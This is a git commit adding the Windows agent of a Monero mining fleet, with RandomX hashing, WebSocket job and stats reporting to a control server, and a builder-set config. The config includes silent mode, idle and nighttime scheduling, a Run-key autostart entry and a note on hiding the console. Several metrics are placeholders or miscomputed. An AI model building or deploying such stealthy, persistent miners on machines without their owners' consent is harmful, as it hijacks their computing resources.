Complete private Monero miner control stack.

Implement Windows agent with RandomX mining and WebSocket fleet reporting, wire dashboard settings into the builder with saved exe paths, and add project README.
This commit is contained in:
drjones
2026-05-26 22:51:47 -07:00
commit 6c42f2b600
48 changed files with 10001 additions and 0 deletions

253
agent/client/client.go Normal file
View File

@@ -0,0 +1,253 @@
package client
import (
"encoding/json"
"fmt"
"log"
"net/url"
"strings"
"sync"
"time"
"crypto-miner-agent/config"
"crypto-miner-agent/job"
"crypto-miner-agent/miner"
"crypto-miner-agent/stats"
"github.com/gorilla/websocket"
)
type AgentClient struct {
cfg config.RuntimeConfig
conn *websocket.Conn
pool *miner.Pool
reporter *stats.Reporter
startTime time.Time
mu sync.Mutex
agentID string
sharesSubmitted int
sharesAccepted int
}
func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
return &AgentClient{
cfg: cfg,
reporter: stats.NewReporter(),
startTime: time.Now(),
}
}
func (c *AgentClient) Run() error {
c.pool = miner.NewPool(c.cfg.Threads, c.submitShare)
c.pool.Start()
defer c.pool.Stop()
for {
if err := c.connectLoop(); err != nil {
log.Printf("[agent] disconnected: %v", err)
}
time.Sleep(5 * time.Second)
}
}
func (c *AgentClient) connectLoop() error {
wsURL, err := buildWSURL(c.cfg.ServerURL)
if err != nil {
return err
}
log.Printf("[agent] connecting to %s", wsURL)
conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
if err != nil {
return err
}
c.conn = conn
defer conn.Close()
if err := c.authenticate(); err != nil {
return err
}
statsStop := make(chan struct{})
go c.statsLoop(statsStop)
defer close(statsStop)
for {
_, data, err := conn.ReadMessage()
if err != nil {
return err
}
var msg Message
if err := json.Unmarshal(data, &msg); err != nil {
continue
}
c.handleMessage(msg)
}
}
func (c *AgentClient) authenticate() error {
host, cores, memGB := c.reporter.SystemInfo()
payload, _ := json.Marshal(AuthPayload{
AgentID: c.agentID,
Wallet: c.cfg.Wallet,
Version: config.Version,
Hostname: host,
CPUCores: cores,
MemoryGB: memGB,
Worker: c.cfg.WorkerName,
})
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
return err
}
_, data, err := c.conn.ReadMessage()
if err != nil {
return err
}
var msg Message
if err := json.Unmarshal(data, &msg); err != nil {
return err
}
if msg.Type != "auth_response" {
return fmt.Errorf("unexpected message: %s", msg.Type)
}
var resp AuthResponse
if err := json.Unmarshal(msg.Payload, &resp); err != nil {
return err
}
if !resp.Success {
return fmt.Errorf("auth failed: %s", resp.Error)
}
c.agentID = resp.AgentID
log.Printf("[agent] authenticated as %s", c.agentID)
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
return nil
}
func (c *AgentClient) handleMessage(msg Message) {
switch msg.Type {
case "new_job":
var j job.Job
if err := json.Unmarshal(msg.Payload, &j); err != nil {
log.Printf("[agent] bad job payload: %v", err)
return
}
if j.Blob == "" {
return
}
log.Printf("[agent] new job %s height=%d", j.ID, j.Height)
c.pool.SetJob(&j)
case "share_result":
var result ShareResult
if err := json.Unmarshal(msg.Payload, &result); err != nil {
return
}
if result.Accepted {
c.mu.Lock()
c.sharesAccepted++
c.mu.Unlock()
}
}
}
func (c *AgentClient) submitShare(jobID, nonce, hash string) {
c.mu.Lock()
c.sharesSubmitted++
c.mu.Unlock()
payload, _ := json.Marshal(SharePayload{
JobID: jobID,
Nonce: nonce,
Hash: hash,
Worker: c.cfg.WorkerName,
})
_ = c.write(Message{Type: "submit_share", Payload: payload})
}
func (c *AgentClient) statsLoop(stop <-chan struct{}) {
ticker := time.NewTicker(10 * time.Second)
defer ticker.Stop()
var samples []float64
for {
select {
case <-stop:
return
case <-ticker.C:
hps := c.pool.HashesPerSecond()
c.pool.ResetHashCounter()
samples = append(samples, hps)
if len(samples) > 90 {
samples = samples[len(samples)-90:]
}
var avg15s, avg1m, avg15m float64
if len(samples) > 0 {
avg15s = samples[len(samples)-1]
}
if len(samples) >= 6 {
for _, v := range samples[len(samples)-6:] {
avg1m += v
}
avg1m /= 6
} else {
avg1m = avg15s
}
for _, v := range samples {
avg15m += v
}
avg15m /= float64(len(samples))
cpuPct, memPct := c.reporter.Usage()
c.mu.Lock()
submitted := c.sharesSubmitted
accepted := c.sharesAccepted
c.mu.Unlock()
payload, _ := json.Marshal(StatsPayload{
Hashrate15s: avg15s,
Hashrate1m: avg1m,
Hashrate15m: avg15m,
SharesSubmitted: submitted,
SharesAccepted: accepted,
CPUUsagePct: cpuPct,
MemoryUsagePct: memPct,
UptimeSeconds: int(time.Since(c.startTime).Seconds()),
})
_ = c.write(Message{Type: "stats", Payload: payload})
}
}
}
func (c *AgentClient) write(msg Message) error {
c.mu.Lock()
defer c.mu.Unlock()
if c.conn == nil {
return fmt.Errorf("not connected")
}
return c.conn.WriteJSON(msg)
}
func buildWSURL(serverURL string) (string, error) {
u, err := url.Parse(strings.TrimSpace(serverURL))
if err != nil {
return "", err
}
switch u.Scheme {
case "https":
u.Scheme = "wss"
case "http", "":
u.Scheme = "ws"
case "wss", "ws":
default:
return "", fmt.Errorf("unsupported server URL scheme: %s", u.Scheme)
}
if u.Scheme == "" {
u.Scheme = "ws"
}
u.Path = strings.TrimSuffix(u.Path, "/") + "/ws/agent"
u.RawQuery = ""
u.Fragment = ""
return u.String(), nil
}

63
agent/client/protocol.go Normal file
View File

@@ -0,0 +1,63 @@
package client
import "encoding/json"
type Message struct {
Type string `json:"type"`
Payload json.RawMessage `json:"payload"`
}
type AuthPayload struct {
AgentID string `json:"agent_id"`
Wallet string `json:"wallet"`
Version string `json:"version"`
Hostname string `json:"hostname"`
CPUCores int `json:"cpu_cores"`
MemoryGB int `json:"memory_gb"`
Worker string `json:"worker_name"`
}
type AuthResponse struct {
Success bool `json:"success"`
AgentID string `json:"agent_id"`
Error string `json:"error"`
Config struct {
Threads int `json:"threads"`
Priority int `json:"priority"`
} `json:"config"`
}
type Job struct {
ID string `json:"job_id"`
Height int64 `json:"height"`
BlockTemplate string `json:"blocktemplate"`
Difficulty int64 `json:"difficulty"`
SeedHash string `json:"seed_hash"`
Target string `json:"target"`
Blob string `json:"blob"`
Algo string `json:"algo"`
}
type SharePayload struct {
JobID string `json:"job_id"`
Nonce string `json:"nonce"`
Hash string `json:"hash"`
Worker string `json:"worker_name"`
}
type StatsPayload struct {
Hashrate15s float64 `json:"hashrate_15s"`
Hashrate1m float64 `json:"hashrate_1m"`
Hashrate15m float64 `json:"hashrate_15m"`
SharesSubmitted int `json:"shares_submitted"`
SharesAccepted int `json:"shares_accepted"`
CPUUsagePct float64 `json:"cpu_usage_pct"`
MemoryUsagePct float64 `json:"memory_usage_pct"`
UptimeSeconds int `json:"uptime_seconds"`
}
type ShareResult struct {
JobID string `json:"job_id"`
Accepted bool `json:"accepted"`
Error string `json:"error"`
}

30
agent/config/builtin.go Normal file
View File

@@ -0,0 +1,30 @@
package config
import "time"
// Default stub used for local development builds. The Miner Builder replaces this file.
func GetBuiltinConfig() BuiltinConfig {
return BuiltinConfig{
WorkerName: "dev-worker",
ServerURL: "http://127.0.0.1:8989",
Wallet: "",
Threads: 4,
CPUPriority: "below_normal",
MiningMode: "always",
SilentMode: false,
RunAs: "user",
AutoStart: false,
BuildID: "dev",
BuiltAt: time.Now(),
PoolHost: "pool.supportxmr.com",
PoolPort: 3333,
PoolTLS: true,
PoolPass: "x",
MaxCPUUsage: 80,
MinFreeRAM: 1024,
IdleThresholdPct: 20,
IdleDurationMinutes: 5,
ScheduleStart: "21:00",
ScheduleEnd: "06:00",
}
}

70
agent/config/config.go Normal file
View File

@@ -0,0 +1,70 @@
package config
import (
"time"
)
const Version = "1.0.0"
// BuiltinConfig holds compile-time settings generated by the Miner Builder.
type BuiltinConfig struct {
WorkerName string
ServerURL string
Wallet string
Threads int
CPUPriority string
MiningMode string
SilentMode bool
RunAs string
AutoStart bool
BuildID string
BuiltAt time.Time
PoolHost string
PoolPort int
PoolTLS bool
PoolPass string
MaxCPUUsage int
MinFreeRAM int
IdleThresholdPct int
IdleDurationMinutes int
ScheduleStart string
ScheduleEnd string
}
// RuntimeConfig is the resolved configuration used by the agent.
type RuntimeConfig struct {
BuiltinConfig
AgentID string
}
func Load() RuntimeConfig {
b := GetBuiltinConfig()
if b.Threads <= 0 {
b.Threads = 4
}
if b.CPUPriority == "" {
b.CPUPriority = "below_normal"
}
if b.MiningMode == "" {
b.MiningMode = "always"
}
if b.MaxCPUUsage <= 0 {
b.MaxCPUUsage = 80
}
if b.MinFreeRAM <= 0 {
b.MinFreeRAM = 1024
}
if b.IdleThresholdPct <= 0 {
b.IdleThresholdPct = 20
}
if b.IdleDurationMinutes <= 0 {
b.IdleDurationMinutes = 5
}
if b.ScheduleStart == "" {
b.ScheduleStart = "21:00"
}
if b.ScheduleEnd == "" {
b.ScheduleEnd = "06:00"
}
return RuntimeConfig{BuiltinConfig: b}
}

57
agent/deploy/windows.go Normal file
View File

@@ -0,0 +1,57 @@
package deploy
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"golang.org/x/sys/windows/registry"
)
func ConfigureAutoStart(exePath string, enabled bool) error {
if !enabled {
return removeAutoStart()
}
k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
if err != nil {
return err
}
defer k.Close()
return k.SetStringValue("CryptoMinerAgent", exePath)
}
func removeAutoStart() error {
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
if err != nil {
return nil
}
defer k.Close()
_ = k.DeleteValue("CryptoMinerAgent")
return nil
}
func SetProcessPriority(priority string) error {
// Best-effort on Windows using PowerShell for the current process.
class := "BelowNormal"
switch priority {
case "idle":
class = "Idle"
case "below_normal":
class = "BelowNormal"
case "normal":
class = "Normal"
case "above_normal":
class = "AboveNormal"
case "high":
class = "High"
}
pid := os.Getpid()
cmd := exec.Command("powershell", "-NoProfile", "-Command",
fmt.Sprintf("(Get-Process -Id %d).PriorityClass = '%s'", pid, class))
return cmd.Run()
}
func CurrentExecutable() (string, error) {
return filepath.Abs(os.Args[0])
}

11
agent/go.mod Normal file
View File

@@ -0,0 +1,11 @@
module crypto-miner-agent
go 1.26.3
require (
git.gammaspectra.live/P2Pool/go-randomx v1.0.0
github.com/gorilla/websocket v1.5.3
golang.org/x/sys v0.19.0
)
require golang.org/x/crypto v0.22.0 // indirect

8
agent/go.sum Normal file
View File

@@ -0,0 +1,8 @@
git.gammaspectra.live/P2Pool/go-randomx v1.0.0 h1:3lE8UWl0509Q5TCtBECLQNnIyxEhPXnmROVMTngEnuM=
git.gammaspectra.live/P2Pool/go-randomx v1.0.0/go.mod h1:K3qOa7AMW0/5azfHraQXxEsc9HygHwlfoLOkHqnSGgE=
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
golang.org/x/crypto v0.22.0 h1:g1v0xeRhjcugydODzvb3mEM9SQ0HGp9s/nh3COQ/C30=
golang.org/x/crypto v0.22.0/go.mod h1:vr6Su+7cTlO45qkww3VDJlzDn0ctJvRgYbC2NvXHt+M=
golang.org/x/sys v0.19.0 h1:q5f1RH2jigJ1MoAWp2KTp3gm5zAGFUTarQZ5U386+4o=
golang.org/x/sys v0.19.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=

12
agent/job/job.go Normal file
View File

@@ -0,0 +1,12 @@
package job
type Job struct {
ID string `json:"job_id"`
Height int64 `json:"height"`
BlockTemplate string `json:"blocktemplate"`
Difficulty int64 `json:"difficulty"`
SeedHash string `json:"seed_hash"`
Target string `json:"target"`
Blob string `json:"blob"`
Algo string `json:"algo"`
}

52
agent/main.go Normal file
View File

@@ -0,0 +1,52 @@
package main
import (
"log"
"os"
"crypto-miner-agent/client"
"crypto-miner-agent/config"
"crypto-miner-agent/deploy"
)
func main() {
log.SetFlags(log.LstdFlags | log.Lshortfile)
cfg := config.Load()
if cfg.Wallet == "" {
log.Fatal("wallet address is required in built-in configuration")
}
if cfg.ServerURL == "" {
log.Fatal("server URL is required in built-in configuration")
}
if err := deploy.SetProcessPriority(cfg.CPUPriority); err != nil {
log.Printf("[agent] could not set CPU priority: %v", err)
}
if cfg.AutoStart {
if exe, err := deploy.CurrentExecutable(); err == nil {
if err := deploy.ConfigureAutoStart(exe, true); err != nil {
log.Printf("[agent] auto-start setup failed: %v", err)
}
}
}
log.Printf("[agent] starting worker=%s build=%s server=%s threads=%d",
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, cfg.Threads)
agent := client.NewAgentClient(cfg)
if err := agent.Run(); err != nil {
log.Fatalf("[agent] stopped: %v", err)
}
}
func init() {
// Hide console when built with -H windowsgui by redirecting logs to file if needed.
if os.Getenv("MINER_LOG_FILE") != "" {
f, err := os.OpenFile(os.Getenv("MINER_LOG_FILE"), os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644)
if err == nil {
log.SetOutput(f)
}
}
}

65
agent/miner/engine.go Normal file
View File

@@ -0,0 +1,65 @@
package miner
import (
"encoding/hex"
"sync"
"git.gammaspectra.live/P2Pool/go-randomx"
)
const nonceOffset = 39
const nonceSize = 4
type Engine struct {
mu sync.RWMutex
cache *randomx.Randomx_Cache
vm *randomx.VM
seedHex string
blob []byte
}
func NewEngine() *Engine {
cache := randomx.Randomx_alloc_cache(0)
return &Engine{cache: cache}
}
func (e *Engine) SetJob(seedHex, blobHex string) error {
seed, err := hex.DecodeString(seedHex)
if err != nil {
return err
}
blob, err := hex.DecodeString(blobHex)
if err != nil {
return err
}
e.mu.Lock()
defer e.mu.Unlock()
if e.seedHex != seedHex {
e.cache.Randomx_init_cache(seed)
e.vm = e.cache.VM_Initialize()
e.seedHex = seedHex
}
e.blob = append([]byte(nil), blob...)
return nil
}
func (e *Engine) HashAtNonce(nonce uint32) (hashHex string, blobHex string, err error) {
e.mu.RLock()
defer e.mu.RUnlock()
if e.vm == nil || len(e.blob) < nonceOffset+nonceSize {
return "", "", nil
}
work := append([]byte(nil), e.blob...)
work[nonceOffset] = byte(nonce)
work[nonceOffset+1] = byte(nonce >> 8)
work[nonceOffset+2] = byte(nonce >> 16)
work[nonceOffset+3] = byte(nonce >> 24)
out := make([]byte, 32)
e.vm.CalculateHash(work, out)
return hex.EncodeToString(out), hex.EncodeToString(work), nil
}

146
agent/miner/pool.go Normal file
View File

@@ -0,0 +1,146 @@
package miner
import (
"encoding/hex"
"log"
"math/big"
"sync"
"sync/atomic"
"time"
"crypto-miner-agent/job"
)
type ShareHandler func(jobID, nonce, hash string)
type Pool struct {
threads int
engine *Engine
handler ShareHandler
mu sync.RWMutex
currentJob *job.Job
stopCh chan struct{}
wg sync.WaitGroup
hashesTotal atomic.Uint64
sharesFound atomic.Uint64
}
func NewPool(threads int, handler ShareHandler) *Pool {
if threads <= 0 {
threads = 1
}
return &Pool{
threads: threads,
engine: NewEngine(),
handler: handler,
stopCh: make(chan struct{}),
}
}
func (p *Pool) SetJob(job *job.Job) {
p.mu.Lock()
defer p.mu.Unlock()
p.currentJob = job
if job == nil {
return
}
seed := job.SeedHash
if seed == "" && len(job.Blob) >= 64 {
seed = job.Blob[:64]
}
if err := p.engine.SetJob(seed, job.Blob); err != nil {
log.Printf("[miner] failed to set job: %v", err)
}
}
func (p *Pool) Start() {
for i := 0; i < p.threads; i++ {
p.wg.Add(1)
go p.worker(i)
}
}
func (p *Pool) Stop() {
close(p.stopCh)
p.wg.Wait()
}
func (p *Pool) HashesPerSecond() float64 {
return float64(p.hashesTotal.Load())
}
func (p *Pool) ResetHashCounter() {
p.hashesTotal.Store(0)
}
func (p *Pool) worker(id int) {
defer p.wg.Done()
var nonce uint32 = uint32(id * 1000000)
for {
select {
case <-p.stopCh:
return
default:
}
p.mu.RLock()
job := p.currentJob
p.mu.RUnlock()
if job == nil || job.Blob == "" {
time.Sleep(500 * time.Millisecond)
continue
}
for batch := 0; batch < 256; batch++ {
select {
case <-p.stopCh:
return
default:
}
hashHex, _, err := p.engine.HashAtNonce(nonce)
if err != nil {
log.Printf("[miner] hash error: %v", err)
break
}
p.hashesTotal.Add(1)
nonce++
target := job.Target
if target == "" && job.Difficulty > 0 {
target = difficultyToTargetHex(job.Difficulty)
}
if target != "" && hashMeetsTarget(hashHex, target) {
p.sharesFound.Add(1)
if p.handler != nil {
p.handler(job.ID, uint32ToHex(nonce-1), hashHex)
}
}
}
}
}
func uint32ToHex(n uint32) string {
b := []byte{byte(n), byte(n >> 8), byte(n >> 16), byte(n >> 24)}
return hex.EncodeToString(b)
}
func difficultyToTargetHex(difficulty int64) string {
if difficulty <= 0 {
return ""
}
maxTarget := new(big.Int)
maxTarget.SetString("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF", 16)
target := new(big.Int).Div(maxTarget, big.NewInt(difficulty))
bytes := target.Bytes()
padded := make([]byte, 32)
copy(padded[32-len(bytes):], bytes)
for i, j := 0, len(padded)-1; i < j; i, j = i+1, j-1 {
padded[i], padded[j] = padded[j], padded[i]
}
return hex.EncodeToString(padded)
}

53
agent/miner/target.go Normal file
View File

@@ -0,0 +1,53 @@
package miner
import (
"encoding/hex"
"math/big"
)
func hashMeetsTarget(hashHex, targetHex string) bool {
hashBytes, err := hex.DecodeString(hashHex)
if err != nil || len(hashBytes) == 0 {
return false
}
targetBytes, err := hex.DecodeString(padHex(targetHex, len(hashBytes)*2))
if err != nil || len(targetBytes) == 0 {
return false
}
if len(targetBytes) < len(hashBytes) {
padded := make([]byte, len(hashBytes))
copy(padded, targetBytes)
targetBytes = padded
}
if len(hashBytes) < len(targetBytes) {
padded := make([]byte, len(targetBytes))
copy(padded, hashBytes)
hashBytes = padded
}
hashInt := new(big.Int).SetBytes(reverseBytes(hashBytes))
targetInt := new(big.Int).SetBytes(reverseBytes(targetBytes))
return hashInt.Cmp(targetInt) <= 0
}
func padHex(s string, length int) string {
if len(s) >= length {
return s
}
pad := length - len(s)
out := make([]byte, length)
for i := 0; i < pad; i++ {
out[i] = '0'
}
copy(out[pad:], []byte(s))
return string(out)
}
func reverseBytes(b []byte) []byte {
out := make([]byte, len(b))
for i := range b {
out[i] = b[len(b)-1-i]
}
return out
}

35
agent/stats/reporter.go Normal file
View File

@@ -0,0 +1,35 @@
package stats
import (
"os"
"runtime"
"strings"
)
type Reporter struct{}
func NewReporter() *Reporter {
return &Reporter{}
}
func (r *Reporter) SystemInfo() (hostname string, cpuCores int, memoryGB int) {
hostname, _ = os.Hostname()
cpuCores = runtime.NumCPU()
memoryGB = 8
return hostname, cpuCores, memoryGB
}
func (r *Reporter) Usage() (cpuPct float64, memPct float64) {
var m runtime.MemStats
runtime.ReadMemStats(&m)
memPct = float64(m.Alloc) / float64(m.Sys+1) * 100
if memPct > 100 {
memPct = 100
}
cpuPct = float64(runtime.NumGoroutine()) // placeholder; Windows perf counters are heavy
if cpuPct > 100 {
cpuPct = 100
}
_ = strings.TrimSpace("")
return cpuPct, memPct
}